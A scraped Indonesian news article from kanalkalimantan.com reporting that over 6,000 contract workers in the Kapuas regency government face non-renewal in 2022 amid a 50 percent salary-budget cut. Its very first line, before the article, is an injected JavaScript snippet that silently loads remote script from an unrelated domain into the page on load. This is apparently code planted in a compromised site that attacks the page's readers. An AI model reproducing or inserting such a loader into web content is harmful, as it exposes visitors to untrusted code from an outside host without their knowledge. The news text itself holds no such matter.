(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Tenaga kontrak yang bekerja di lingkup Pemerintah Kabupaten (Pemkab) Kapuas mulai tahun 2022 mendatang terancam kena pemutusan hubungan kerja alias PHK.
Hal ini karena surat perjanjian kerja tenaga kontrak di lingkungan Pemerintah Kabupaten (Pemkab) Kapuas untuk tahun 2022 untuk sementara bakal tidak diperpanjang.
Sesuai dengan surat edaran yang ditandatangani Sekretaris Daerah Kapuas per tanggal 11 Oktober 2021 yang ditujukan kepada Seluruh Kepala Perangkat Daerah (SKPD) Kabupaten Kapuas.
Terkait status tenaga kontrak Pemkab Kapuas itu, Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kabupaten Kapuas, Aswan membenarkan adanya surat edaran tersebut.
Baca juga :Â Amankan Emas dari Tinju, Beatrix Persembahkan Emas Ketiga untuk Kalsel
“Tujuannya untuk semua OPD (Organisasi Perangkat Daerah) Kabupaten Kapuas,” kata Aswan Kamis, (14/10/2021).
Disebutkan di dalam surat itu tiga poin yang disampaikan, yakni pertama untuk pengentry-an Renja perangkat daerah tahun 2022 agar anggaran belanja yang digunakan untuk pembayaran gaji tenaga kontrak dirasionalisasikan sebesar 50 persen dari anggaran sebelumnya.
Kemudian, disebutkan surat perjanjian kerja tenaga kontrak yang ada di Pemkab Kapuas untuk tahun 2022 sementara tidak akan diperpanjang.
Dia menyebutkan, nantinya penunjukan kembali tenaga kontrak tahun 2022 akan ditetapkan berdasarkan hasil uji kompetensi, dan ketersediaan kuota.
Baca juga :Â 56 Karyawan Perusahaan Pinjol Ilegal Ditangkap, Ternyata Tugasnya Teror Nasabah
Sebelumnya, Aswan menyebutkan tidak diperpanjangnya sementara surat perjanjian kerja tenaga kontrak untuk tahun 2022, karena menunggu hasil uji kompetensi.
“Uji kompetensi akan dilaksanakan, BKPSDM Kapuas bekerjasama dengan Pusat Pelayanan Asesmen Kompetensi Universitas Lambung Mangkurat (ULM) Banjarmasin, untuk melihat kemampuan tenaga kontrak yang bersangkutan,” jelas Aswan.
Selain itu, lanjut Aswan, berkaitan dengan rasionalisasi anggaran, karena jumlah tenaga kontrak di lingkungan Pemkab Kapuas ada 6.000 lebih.
“Kalau menurut catatan, anggaran yang diperlukan untuk tenaga kontrak itu sekitar Rp 135 miliar,” sebutnya.
Sebenarnya apabila berdasarkan Analisis Beban Kerja (ABK), idealnya jumlah tenaga kontrak di Kapuas sekitar 5.000 orang. “Idealnya 5.000 orang, jadi 1.000 harus kita kurangi. Cuma karena anggaran kita terbatas, karena rasionalisasi, akhirnya 50 persen yang akan kita kurangi,” pungkasnya. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.